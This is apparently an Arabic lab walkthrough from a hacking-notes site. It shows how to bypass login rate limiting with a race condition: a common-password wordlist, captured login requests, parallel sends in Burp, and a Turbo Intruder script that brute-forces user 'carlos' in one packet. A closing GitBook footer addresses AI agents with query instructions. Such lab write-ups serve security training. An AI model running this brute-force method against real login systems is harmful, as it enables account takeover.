> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/race-conditions/rate-limit-bypass-via-race-condition.md).

# تجاوز حد المعدل عبر حالة السباق

### تجاوز حدود المعدل عبر حالات السباق

تضع آلية المصادقة **حدًا لعدد المحاولات** لمنع هجمات القوة الغاشمة. / ومع ذلك، \*\* لوحِظ\*\* أنه يمكن تجاوز هذه الحماية بسبب **حالة سباق** عند معالجة الطلبات المتزامنة.

هدف المختبر:

* استخدم حالة السباق لتجاوز هذا القيد.
* العثور على كلمة مرور المستخدم **carlos**.
* الاتصال بالتطبيق.
* الوصول إلى لوحة الإدارة.
* حذف المستخدم **carlos**.

#### قائمة الكلمات المستخدمة

```bash
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
كلمة المرور
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```

#### ملاحظة آلية الاتصال

عند إرسال نموذج تسجيل الدخول، \*\* لوحِظ\*\* أن طلب POST يُرسل بالمعلمات التالية:

* `CSRF`
* `اسم المستخدم`
* `كلمة المرور`

```bash
csrf=8SbZ2jaR8pdJ0Q4r0XNqmTeVk5GJHxsx&username=wiener&password=peter
```

<figure><img src="/files/1938afc34f80156c7b9c791e5df3281a23883d8b" alt=""><figcaption></figcaption></figure>

بعد عدة محاولات غير صحيحة متتالية، **تظهر الرسالة**:

> *لقد أجريتَ عددًا كبيرًا جدًا من محاولات تسجيل الدخول غير الصحيحة. يُرجى المحاولة مرة أخرى خلال XX ثانية.*

هذا يؤكد وجود **تحديد المعدل من جهة الخادم**.

<figure><img src="/files/a5c5ee09d790ea1d7764e357dfef0576464428f6" alt=""><figcaption></figcaption></figure>

#### الالتفاف عبر حالة السباق (اختبارات يدوية)

\*إنشاء مجموعة "حالة سباق".

<figure><img src="/files/0f6a9f5fbb9ede83b827a1b2fb7162b14ab26ffd" alt=""><figcaption></figcaption></figure>

* انسخ علامة التبويب **10 مرات**.

<figure><img src="/files/d665901e31cd16d6c66fc362f0aa6c23498c3383" alt=""><figcaption></figcaption></figure>

* أرسل جميع الطلبات **بالتوازي**.

<figure><img src="/files/9aa6fd7813a727439212772f7859fcf310d6e464" alt=""><figcaption></figcaption></figure>

اختبار :

```bash
csrf=ab5gEWlWPKDUCJCQAlxrxR42dLIhJCWR&username=wiener&password=test
```

ملاحظة: عند الإرسال بالتوازي، **لا يحدث الحظر** في هذه الحالة.

<figure><img src="/files/0af181748b3b199707c8c2e614cda3648074cc44" alt=""><figcaption></figcaption></figure>

#### هجوم القوة الغاشمة المتوازي على كارلوس باستخدام Turbo Intruder

* ثبّت واستخدم **Turbo Intruder** الإضافة.

<figure><img src="/files/eee245e44a49c0069b68721a25e38e41a7cc9d5d" alt=""><figcaption></figcaption></figure>

* من طلب تسجيل الدخول: **إرسال إلى Turbo Intruder**.

<figure><img src="/files/ffa62d163a99784d9cbc3b969d5840ebb6a5e595" alt=""><figcaption></figcaption></figure>

* اختر **`race single packet attack.py`** البرنامج النصي.

<figure><img src="/files/6dc331ec276bd8c50e4bb84b79dd50f2165bdcaf" alt=""><figcaption></figcaption></figure>

* انسخ قائمة الكلمات إلى **الحافظة**، ثم شغّل باستخدام هذا البرنامج النصي:

```python
def queueRequests(target, wordlists):

    # إذا كان الهدف يدعم HTTP/2، فاستخدم engine=Engine.BURP2 لتفعيل هجوم الحزمة الواحدة
    # إذا كانوا يدعمون HTTP/1 فقط، فاستخدم Engine.THREADED أو Engine.BURP بدلًا من ذلك
    # لمزيد من المعلومات، راجع https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )


    passwords = wordlists.clipboard
    # الوسيط 'gate' يحجب جزءًا من كل طلب حتى يتم استدعاء openGate
    # إذا رأيت طابعًا زمنيًا سالبًا، فهذا يعني أن الخادم استجاب قبل اكتمال الطلب
    for password in passwords:
        engine.queue(target.req, password, gate='race1')

    # بمجرد أن تتم إضافة كل طلب موسوم بـ 'race1' إلى قائمة الانتظار
    # استدعِ engine.openGate() لإرسالها بالتزامن
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

#### النتيجة الملحوظة

من خلال اختبار جميع القيم بالتوازي، تُرجِع إحدى كلمات المرور \*\*رمز HTTP 302\*\* (مؤشر نجاح تسجيل الدخول).

<figure><img src="/files/2af131d8f2ffdfc8ea58c9c4b9b6dfb98d2ddc53" alt=""><figcaption></figcaption></figure>

\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/race-conditions/rate-limit-bypass-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
